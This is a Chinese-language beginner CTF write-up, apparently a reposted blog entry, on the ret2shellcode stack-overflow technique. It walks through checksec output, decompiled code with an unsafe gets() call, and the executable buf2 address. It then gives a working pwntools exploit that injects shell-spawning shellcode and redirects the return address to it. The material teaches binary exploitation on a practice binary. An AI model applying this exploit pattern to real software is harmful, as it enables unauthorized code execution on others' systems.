ROP-基础-ret2shellcode

文件下载地址:

链接:https://pan.baidu.com/s/1McW3vCgUvTMRpLJcacN9rg
提取码:didr

0x01.checksec

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

32位程序,没有开启任何保护,首先想到的办法就是控制执行shellcode。

0x02.IDA分析

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+1Ch] [ebp-64h]

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("No system for you this time !!!");
  gets(&s);
  strncpy(buf2, &s, 0x64u);
  printf("bye bye ~");
  return 0;
}

发现敏感函数,gets,strncpy,并且将字符串复制给了buf2,这时候,如果buf2有执行权限,我们就可以控制返回到buf2上执行shellcode了。查看buf2:

在bss段(BSS段通常是指用来存放程序中未初始化的或者初始化为0的全局变量静态变量的一块内存区域。特点是可读写的,在程序执行之前BSS段会自动清0。)我们查看一下,是否具有可执行权限:

buf2的地址刚好位于这之中,具有可执行权限,我们只需要控制程序返回到buf2段去执行我们的shellcode就行了。

buf2地址:0x0804A080

确定偏移地址:

0x03.exp

#!/usr/bin/env python
from pwn import *

r=process('./ret2shellcode')
shellcode=asm(shellcraft.sh())
buf_adr=0x804a080
payload=shellcode.ljust(112,'A')+p32(buf_adr)
r.sendline(payload)
r.interactive()

解释:

  • shellcode=asm(shellcraft.sh())的作用是生成一段获取shell的shllcode。
  • shellcode.ljust(112,'A')的含义是将shellcode不足112的部分用A补齐。

发布了65 篇原创文章 · 获赞 72 · 访问量 5720

猜你喜欢

转载自blog.csdn.net/ATFWUS/article/details/104558518